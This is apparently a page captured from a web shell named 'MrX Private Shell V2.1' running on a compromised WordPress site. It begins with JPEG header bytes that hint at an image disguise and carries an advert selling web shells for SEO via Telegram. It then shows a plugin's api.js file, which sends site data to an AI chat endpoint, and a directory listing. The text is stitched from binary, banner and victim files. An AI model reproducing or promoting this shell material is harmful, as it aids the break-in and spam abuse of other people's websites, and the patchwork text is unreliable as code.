����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { AI_HOST } from '@constants';
import { useAIConsentStore } from '@shared/state/ai-consent';
// Additional data to send with requests
const allowList = [
'siteId',
'partnerId',
'wpVersion',
'wpLanguage',
'devbuild',
'isBlockTheme',
'userId',
'siteProfile',
];
const { showAIConsent, userGaveConsent } = useAIConsentStore.getState();
const extraBody = {
...Object.fromEntries(
Object.entries(window.extSharedData).filter(([key]) =>
allowList.includes(key),
),
),
showAIConsent,
userGaveConsent,
};
export const getAnswer = ({ question, experienceLevel }) =>
fetch(`${AI_HOST}/api/chat/ask-question`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ question, experienceLevel, ...extraBody }),
});
export const rateAnswer = ({ answerId, rating }) =>
fetch(`${AI_HOST}/api/chat/rate-answer`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ answerId, rating }),
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api.js | File | 992 B | 0644 |
|
| tour-helpers.js | File | 461 B | 0644 |
|
| utils.js | File | 79 B | 0644 |
|